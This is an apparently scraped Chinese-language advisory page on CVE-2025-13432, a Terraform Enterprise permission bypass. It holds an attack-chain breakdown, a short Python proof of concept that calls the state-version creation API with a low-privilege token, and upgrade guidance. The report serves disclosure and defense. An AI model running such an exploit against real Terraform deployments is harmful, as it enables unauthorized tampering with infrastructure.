IPBUF安全漏洞报告
English
CVE-2025-13432 CVSS 4.3 中危

CVE-2025-13432 Terraform Enterprise状态版本权限绕过漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-13432
漏洞类型
权限控制绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Terraform Enterprise

相关标签

权限控制绕过Terraform Enterprise状态版本访问控制HashiCorpCVE-2025-13432

漏洞概述

CVE-2025-13432是HashiCorp Terraform Enterprise中的一个权限控制漏洞。该漏洞允许具有特定但权限不足的用户在工作区中创建Terraform状态版本。由于权限验证不充分,攻击者可以利用此漏洞绕过正常的访问控制流程,潜在地修改基础设施配置。攻击成功后,攻击者创建的状态版本可能在后续的plan操作中被批准执行(由具有审批权限的用户审批或自动应用),从而导致基础设施被恶意修改。此漏洞影响Terraform Enterprise的多个版本,需要及时更新到安全版本以防止潜在的安全风险。

技术细节

Terraform Enterprise的工作区状态版本管理功能存在权限验证缺陷。系统未能正确验证用户对工作区的写访问权限,允许低权限用户创建状态版本。在正常的安全模型中,状态版本的创建应该要求用户具有完整的写权限,但当前实现仅要求用户具有特定但不充分的权限即可执行此操作。攻击者需要首先获得目标工作区的访问权限(至少低权限级别),然后可以直接调用状态版本创建API端点。由于状态版本与Terraform执行计划直接关联,恶意创建的状态版本可能在后续的plan/apply流程中被使用,导致基础设施被未授权修改。漏洞的根本原因在于权限检查逻辑中的条件判断不完整,未能正确验证用户是否具有足够的工作区写权限。

攻击链分析

STEP 1
侦察阶段
攻击者获取目标Terraform Enterprise工作区的访问权限,获得一个具有特定权限但不足以创建状态版本的用户令牌
STEP 2
权限分析
攻击者分析目标工作区的权限配置,发现当前令牌具有特定权限但不包含完整的写访问权限
STEP 3
漏洞利用
攻击者直接调用状态版本创建API端点,利用权限验证缺陷绕过检查,成功创建恶意状态版本
STEP 4
持久化控制
恶意创建的状态版本被存储在系统中,等待后续的plan操作触发
STEP 5
基础设施篡改
当具有审批权限的用户执行plan操作或系统配置为自动应用时,恶意状态版本被使用,导致基础设施配置被未授权修改

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13432 Terraform Enterprise State Version Creation PoC # This PoC demonstrates the permission bypass vulnerability import requests import json TARGET = "https://terraform-enterprise.example.com" WORKSPACE_ID = "ws-xxxxx" API_TOKEN = "your-low-privilege-token" def create_state_version(): """ Exploit: Create state version with insufficient permissions Normal users should not be able to create state versions without write access """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/vnd.api+json" } # Create state version with low privilege token url = f"{TARGET}/api/v2/workspaces/{WORKSPACE_ID}/state-versions" data = { "data": { "type": "state-versions", "attributes": { "state": "base64-encoded-state-content" } } } response = requests.post(url, headers=headers, json=data) if response.status_code in [200, 201]: print("[+] State version created successfully (vulnerability confirmed)") print(f"Response: {response.json()}") return True else: print(f"[-] Request failed: {response.status_code}") return False def check_workspace_permissions(): """Verify the token only has limited permissions""" headers = { "Authorization": f"Bearer {API_TOKEN}" } url = f"{TARGET}/api/v2/workspaces/{WORKSPACE_ID}" response = requests.get(url, headers=headers) if response.status_code == 200: workspace = response.json().get('data', {}) permissions = workspace.get('attributes', {}).get('permissions', {}) print(f"[*] Workspace permissions: {json.dumps(permissions, indent=2)}") return permissions if __name__ == "__main__": print("[*] CVE-2025-13432 Terraform Enterprise Permission Bypass PoC") permissions = check_workspace_permissions() create_state_version()

影响范围

Terraform Enterprise < 1.0.3
Terraform Enterprise 1.1.x < 1.1.1

防御指南

临时缓解措施
立即将Terraform Enterprise升级到版本1.1.1(对于1.1.x分支)或1.0.3(对于1.0.x分支)。如果无法立即升级,可以限制低权限用户对工作区的访问,移除可能导致权限绕过的特定权限配置,并加强工作区访问权限的审核和监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表